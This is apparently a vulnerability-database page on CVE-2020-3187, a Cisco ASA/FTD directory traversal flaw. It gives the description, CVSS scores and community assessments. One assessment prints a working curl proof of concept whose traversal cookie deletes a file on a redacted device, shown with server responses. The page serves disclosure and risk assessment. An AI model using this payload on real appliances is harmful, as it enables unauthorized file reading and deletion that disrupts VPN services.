Attacker Value
Moderate
(2 users assessed)
Exploitability
Very High
(2 users assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
5

CVE-2020-3187

Disclosure Date: May 06, 2020 •
CVE-2020-3187 CVSS v3 Base Score: 9.1
Exploited in the Wild
Reported by hrbrmstr
View Source Details
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences. An exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system. This file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability can not be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. Reloading the affected device will restore all files within the web services file system.

Add Assessment

3
Ratings
  • Attacker Value
    Low
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeUnauthenticatedVulnerable in default configurationNo useful access
Technical Analysis

The file deletion doesn’t seem “useful” beyond disruption or denial of service against the web services. The files come back after a reboot, too. Not much “attacker value” here. The PoC is easy to weaponize, though, so please patch to avoid disruptions.

ETA: Hey, I can “patch” the vuln with the vuln:

wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Cache-Control: no-store
Pragma: no-cache
Connection: Keep-Alive
Date: Mon, 27 Jul 2020 19:57:23 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$ curl -kb token=../+CSCOE+/session_password.html https://[redacted]/+CSCOE+/session_password.html
wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 404 Not Found
Cache-Control: no-store
Pragma: no-cache
Connection: Close
Date: Mon, 27 Jul 2020 19:57:35 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$

This uses the vulnerable file to delete itself.

Log in to Add Reply
2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Common in enterpriseUnauthenticatedVulnerable in default configuration
Technical Analysis

The devil (or, lack thereof) is in the details:

The attacker can view and delete files within the web services file system only. The web services file system is enabled for the WebVPN and AnyConnect >features outlined in the Vulnerable Products section of this advisory; therefore, this vulnerability does not apply to the ASA and FTD system files or underlying >operating system (OS) files. The Web Services files that the attacker can view may have information such as WebVPN configuration, bookmarks, web cookies, >partial web content, and HTTP URLs.

  • No RCE, but somewhat sensitive (and, definitely some org-internal) data is accessible.
  • Reboot fixes damage.
  • Temporary DoS (to the web services) is in play since this vector weirdly allows delete access.
  • The really important system files are not accessible
  • Fairly trivial for an attacker to gain access to file-system layout from images or previous vulnerabilities so any intelligent use of a working PoC (when one is out) won’t be super noisy but it should still be fairly easy for any capable org to monitor for abnormal HTTP interactions via device logs.
Log in to Add Reply
CVSS V3 Severity and Metrics
Base Score:
9.1 Critical
Impact Score:
5.2
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
None

General Information

Offensive Application
remote
Utility Class
fileaccess
Ports
Unknown
OS
Unknown
Vulnerable Versions
Cisco Adaptive Security Appliance (ASA) Software n/a
Prerequisites
Unknown
Discovered By
Mikhail Klyuchnikov of Positive Technologies
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Vendors

  • cisco

Products

  • adaptive security appliance software,
  • asa 5505 firmware 9.6(4),
  • asa 5510 firmware 9.6(4),
  • asa 5512-x firmware 9.6(4),
  • asa 5515-x firmware 9.6(4),
  • asa 5520 firmware 9.6(4),
  • asa 5525-x firmware 9.6(4),
  • asa 5540 firmware 9.6(4),
  • asa 5545-x firmware 9.6(4),
  • asa 5550 firmware 9.6(4),
  • asa 5555-x firmware 9.6(4),
  • asa 5580 firmware 9.6(4),
  • asa 5585-x firmware 9.6(4),
  • firepower threat defense

Exploited in the Wild

Reported by:
Technical Analysis